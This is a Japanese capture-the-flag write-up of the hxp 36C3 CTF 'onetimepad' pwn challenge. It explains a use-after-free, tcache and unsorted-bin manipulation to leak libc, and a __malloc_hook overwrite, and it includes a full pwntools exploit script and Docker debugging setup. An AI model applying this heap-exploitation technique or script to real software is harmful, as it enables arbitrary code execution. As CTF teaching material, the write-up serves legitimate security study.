イントロ Link to this heading

いつぞやの年末に行われた HXP 主催の 36C3 CTF 2019。 DEFCON Quals らしい。 本記事は pwn の hard レベル問題Onetime Padの writeup である。 なお本問は heap パズル 問題である。

表層解析 Link to this heading

配布物は以下の 3 つ:

  • Dockerfile: Debian 環境で libc は 2.28
  • onetimepad: 実行ファイル
sec.sh
1./onetimepad: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=fb5e2533e641b3debc2fac404e45cb053174361e, not stripped
2  Arch:     amd64-64-little
3  RELRO:    Full RELRO
4  Stack:    No canary found
5  NX:       NX enabled
6  PIE:      PIE enabled
  • onetimepad.c: ソースコード

問題バイナリは NSA(Non Specified Agency)が開発したメモ帳プログラム。 一回読むと発火して読めなくなるそうです。 pwn2win といい、設定が面白いのはいいですね。

問題概要 Link to this heading

メモ帳プログラムで以下の機能を持つ:

write Link to this heading

メモ帳を生成する。 メモ帳は.bssセクションのstruct onetimepad[8]で管理されており、 各インスタンスはメモの内容のbufへのポインタを持っている。 重要なのは文字列の入力方法であり、 readline()で一旦line buf に入力を受け付け、 NULL 終端した後にstrdup()して、コピーされた文字列へのポインタをonetimepadに保持する。

詳しくは後述するが、この方法での入力による exploit 上の特徴は:

・必ず NULL 終端されるため 1byte 分非任意の書き込み(0x00)が生じる ・p64(addr1)+p64(addr2)のように途中に NULL を挟む入力はすることができない

read Link to this heading

“onetime"の名の由来となる部分。 onetimepad[ix]の保持する buf を出力するが、 出力の直後にこの buf がfree()される。

また、onetimepadはメンバ変数に現在使用されているかどうかを示すis_inuseフラグをもっており、 readを行い buf をfree()したあとにこのフラグをおろす。 readはこのis_freeフラグが立っているものにしかおこなえない。

rewrite Link to this heading

onetimepad[ix]bufを書き換えることができる。 これも入力の制約自体は write と同じである。 .dataセクションの変数によって rewrite できるのは一度だけに制限されている。

ネイティブ環境と異なる libc でのデバッグ Link to this heading

本問のバイナリは libc2.28 で動く。 LD_PRELOADで libc を指定して動かそうとしたが上手くいかなかった。

ものぐさなため途中まではネイティブ環境の libc2.27 で動かして exploit を書いていたが、 後述するように途中で不具合が生じたためちゃんと 2.28 を使うことにした。 よって配布された Dockerfile でサーバを立ち上げてホストから gdbserver でアタッチしてデバッグしようとしたが、 この方法では勿論 pwndbg のheapbin等のコマンドが使えない。 vanila gdb で pwn をしていた頃が懐かしいが今となってはこれらなしでやるのは非常に辛いため、 Docker 上に pwndbg を入れるようにした。

自分は完全なる Docker 素人のため環境構築は mora さんにお願いした。。。

Dockerfile
 1# echo 'hxp{FLAG}' > flag.txt && docker build -t onetimepad . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 31336:1024 onetimepad
 2FROM debian:buster
 3RUN useradd --create-home --shell /bin/bash ctf
 4WORKDIR /home/ctf
 5COPY ynetd /sbin/
 6COPY onetimepad flag.txt /home/ctf/
 7#  # Permission
 8#  7 rwx
 9#  6 rw-
10#  5 r-x
11#  4 r--
12#  3 -wx
13#  2 -w-
14#  1 --x
15#  0 ---
16# sane defaults
17RUN chmod 555 /home/ctf && \
18    chown -R root:root /home/ctf && \
19    chmod -R 000 /home/ctf/* && \
20    chmod 500 /sbin/ynetd
21# TODO: chmod all your files below!
22RUN chmod 555 onetimepad && \
23    chmod 444 flag.txt && \
24    mv flag.txt flag_$(< /dev/urandom tr -dc a-zA-Z0-9 | head -c 24).txt
25# check whitelist of writable files/folders
26USER ctf
27RUN (find --version && id --version && sed --version && grep --version) > /dev/null
28RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)'
29USER root
30RUN apt-get update && apt-get upgrade &&\
31    apt-get -y install python2.7 python-pip python-dev git libssl-dev libffi-dev socat
32##RUN pip install virtualenvwrapper &&\
33#   export WORKON_HOME=$HOME/.virtualenvs &&\
34#   export PROJECT_HOME=$HOME/Devel &&\
35#   . /usr/local/bin/virtualenvwrapper.sh &&\
36#   cd $HOMEDIR &&\
37#   mkdir tools &&\
38#   cd tools &&\
39#   mkvirtualenv pwn &&\
40RUN pip install --upgrade pwntools &&\
41    #deactivate &&\
42    git clone https://github.com/pwndbg/pwndbg &&\
43    cd pwndbg &&\
44    ./setup.sh
45RUN apt-get install -y procps
46# EXPOSE all your ports
47EXPOSE 1024
48# TODO: CMD your challenge
49CMD ynetd -u ctf /home/ctf/onetimepad
build.sh
1sudo docker build . -t sugoiyatu
run.sh
1sudo docker run -p 3001:3001 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it sugoiyatu /bin/bash
server.sh
1socat TCP-L:3001,reuseaddr,fork EXEC:./onetimepad &

あとはいつも通り3001ポートに向けて exploit コードを回していい感じのところで止めて、 docker 上で pwndbg を使ってデバッグすれば良い。

方針 Link to this heading

さて、問題バイナリに戻る:

とっかかりの脆弱性 Link to this heading

rewrite に自明な UAF がある (rewrite時にis_inuseを確認しないため、read した==free()した chunk に書き込むことができる)。 但し rewrite にかかる制限がそのまま UAF の制約になる。

すなわち:

  • この方法での UAF は 1 回しかできない ・・・①
  • 途中で NULL を挟むと入力が終わる・・・②
  • 最後が NULL 終端される・・・③

libcbase の leak と libc2.27/28 の unsorted の制約の差異 Link to this heading

この UAF を利用して、まず libcbase の leak を目指す。

まず heap のベースアドレスは下 3nibble が0x000で固定である。 この先頭に IO buf が0x250のサイズで取られる。 その下にreadline()で使用する line buf がとられる。 この line buf のサイズは倍々 or 2 の冪乗でとられる。 (ソース読んでないから実験からの推測だけど。。。)

途中で line buf のサイズが足りなくなってrealloc()することになるとめんどくさいため、 最初に line buf のサイズをかなり大きな値にして固定したい。 このために一番最初に0x620サイズをmalloc()しておく(chunkA)。

その下に chunkB (0x570), chunkC(0x30), chunkD(0x30)をmalloc()する。 そのあと B,D,C の順に read(free)する。 ここまでの heap の状態が以下の感じ。


次に rewrite の UAF を利用して tcache0x30 に繋がっている chunkC の fd を書き換える。 この際 NULL 終端が必ず生じること(UAF 制約 ③)と、ヒープアドレスで既知なのは下 3nibble だけであるということから、 ガチャなしでいくためには下 1byte を NULL overwrite するしかない。 よって C のfdの下 1byte を0x00にして tcache のリンクをずらし、 上にある chunkB の下の方を指すようにしておく。 この状態で tcache0x30 から chunkE, chunkF をmalloc()する。

次に unsorted に繋がっている chunkB から適切なサイズの chunkG (0x4f0) をmalloc()で削り取ることで、 chunkF に近いところに残りカス unsorted の fd を生成する。 この時事前にずらした tcache のリンク先(chunkF の fd が指す先)にちょうど unsorted の fd がくるように削り取るサイズは調整すること。

ここまでを図示すると以下のようになる。


すると chunkF のユーザ領域の先頭に unsorted が来ているから。 F を read することでmain_arena+96が leak できる。

今回は unsorted から切り出した残りカスが 0x80 になるから、 free()された chunkF はtcache 0x80につながれる。 ここで unsorted のfdと chunkF のfdは重複してしまっている + 現在tcache0x80には chunk が繋がっていないため、 この両者のfdは NULL に書き換えられてしまう。

このまま次の chunk を unsorted から切り出すとこのの部分 でひっかかる。

自分は慣れない環境でのデバッグを嫌って libc2.27 環境でデバッグしていたのだが、 2.27 では最後の unsorted のfdarena+96を指していなくてもよかったが、 2.28 ではこの整合性チェックが行われるようになったっぽいのでひっかかってしまった。

同じチームのメンバーに状況だけを伝えると、 やってることを教えただけで「そりゃあやばい状況」と 2.28 では上手く行かないことを一瞬で指摘してきたので、 すげえなぁと思うと同時に、 こういうバージョンごとにできること・できないこともちゃんと把握できるようにしないとだめだなと思いました。まる。

malloc_hook overwrite Link to this heading

ここで躓いていると mora さんが解決策をくれた。 すなわち先に unsorted を free してからもう一度確保することでごまかした。 この部分を図示すると以下のようになる:


これで libcbase がわかった状態で任意のアドレスに chunk を置いて書き込むことができる。 だがそのためには 0x80 サイズの chunk を取る必要があるのだが。 前述した UAF の制約 ② により途中で NULL を入れることができず、

.py
1inj = p64(target addr), inj += "A"*(0x70-len(inj))

のような入力にするとp64()の時点で入力が打ち切られてしまう。

ここでウンウン唸っていると、 mora さんが一瞬で以下の bypass を思いついた。

すなわち、chunk を__malloc_hookの丁度上に置くのではなく、 __malloc_hook - (0x70-len(target addr))に書き込み、 入力を"A"*(0x70-len(target addr)) + p64(target addr)にすることで、 入力が打ち切られた時点で丁度書き込み終了とすることができるというものである。 こういうのを言われなくても自分ですぐ思いつくようにしたい。

ただこの方法だと hook の上にあるデータを破壊してしまう。 onegadget の constraint を避けるためにfree_hookの方を overwrite しようとしたところ。 free_hookの方には上に書き換えちゃいけないポインタがあったらしく、 lock 関係のところで永久ループに入りとまってしまった。

ただ libc2.28 環境ではたまたま、 malloc_hookなら上のデータは破壊してもよい+onegadget の制約を満たしているという好条件だったため、 普通に malloc_hook overwrite でいけた。

exploit Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./onetimepad"
  8
  9onegadgets = [0x4484f,0x448a3,0xe5456]
 10
 11#online
 12#st = 1.0
 13
 14#local
 15st = 0.1
 16
 17arena_off = 0x1bbca0
 18malloc_hook_off = 0x1bbc30
 19free_hook_off = 0x1BD8E8
 20
 21rhp1 = {"host":"88.198.154.140","port":31336}
 22rhp2 = {'host':"localhost",'port':3001}
 23context(os='linux',arch='amd64')
 24binf = ELF(FILENAME)
 25
 26def _write(conn,content):
 27  conn.recvuntil("> ")
 28  conn.sendline("w")
 29  sleep(st)
 30  conn.sendline(content)
 31
 32def _read(conn,idx):
 33  conn.recvuntil("> ")
 34  conn.sendline("r")
 35  sleep(st)
 36  conn.sendline(str(idx))
 37
 38def _rewrite(conn,idx,content):
 39  conn.recvuntil("> ")
 40  conn.sendline("e")
 41  sleep(st)
 42  conn.sendline(str(idx))
 43  sleep(st)
 44  conn.sendline(content)
 45
 46
 47
 48def exploit(conn):
 49  _write(conn,"A"*0x610) #0:とりあえずline bufを大きく取るため
 50  _write(conn,"B"*0x560) #1:to generate arena+96
 51  _write(conn,"C"*0x20) #2
 52  _write(conn,"D"*0x20) #3
 53
 54  _read(conn,1)
 55  _read(conn,3)
 56  _read(conn,2)
 57  print("[+]read three times")
 58
 59
 60  _rewrite(conn,2,"")
 61  _write(conn,"E"*0x20) #1
 62  _write(conn,"F"*0x20) #2
 63
 64  _write(conn,"G"*0x4e0) #3
 65
 66  _read(conn,3)
 67  _read(conn,2)
 68  arena96 = unpack(conn.recvline()[:-1].ljust(8,'\x00'))
 69  print("[+]main_arena + 96: "+hex(arena96))
 70  libc_base = arena96 - arena_off
 71  print("[+]libc_base: "+hex(libc_base))
 72  malloc_hook = libc_base + malloc_hook_off
 73  print("[+]malloc_hook: "+hex(malloc_hook))
 74  free_hook = libc_base + free_hook_off
 75  print("[+]free_hook: "+hex(free_hook))
 76  print("[+]onegadgets[0]: "+hex(libc_base + onegadgets[0]))
 77
 78  _write(conn,"G"*0x4e0) #2
 79  _write(conn,p64(malloc_hook - (0x70-0x6))) #3
 80  print("[+]stage1 OK")
 81  _write(conn,"A"*0x70)
 82  print("[+]stage2 OK")
 83
 84  inj = "A"*(0x70-0x6)
 85  inj += p64(libc_base + onegadgets[2])
 86  _write(conn,inj)
 87
 88  raw_input("enter to continue")
 89  _write(conn,"GO!!")
 90
 91if len(sys.argv)>1:
 92  if sys.argv[1][0]=="d":
 93    cmd = """
 94      set follow-fork-mode parent
 95    """
 96    conn = gdb.debug(FILENAME,cmd)
 97  elif sys.argv[1][0]=="r":
 98    conn = remote(rhp1["host"],rhp1["port"])
 99    st = 1.0
100else:
101    conn = remote(rhp2['host'],rhp2['port'])
102exploit(conn)
103conn.interactive()

結果 Link to this heading

自分が CTF を始めた今年最後の CTF

hard 問をとれたことは嬉しかったが、 hard 要素がどこにもなく明らかに diffculty estimate のミスだと思う。 だがそれにしては時間がかかりすぎたため、 単純な heap パズルならば瞬殺できるようにしておきたい。 あと docker の使い方とかはいい加減覚えなさい。

それよりも、初めて TSG の人と地下でオンサイトで解けたのが楽しかったです。 mora 先輩とスマブラもできました。 来年は CTF に睡眠を破壊されないようにしたいですね。

一瞬誰かを見習って 2020 年の pwn 問全部解くをやろうと思ったんですが、 この調子だと睡眠時間が無くなりそうなので無理っぽいです。 ただできる限りは writeup を見てもいいので解きたいですね。


よいお年を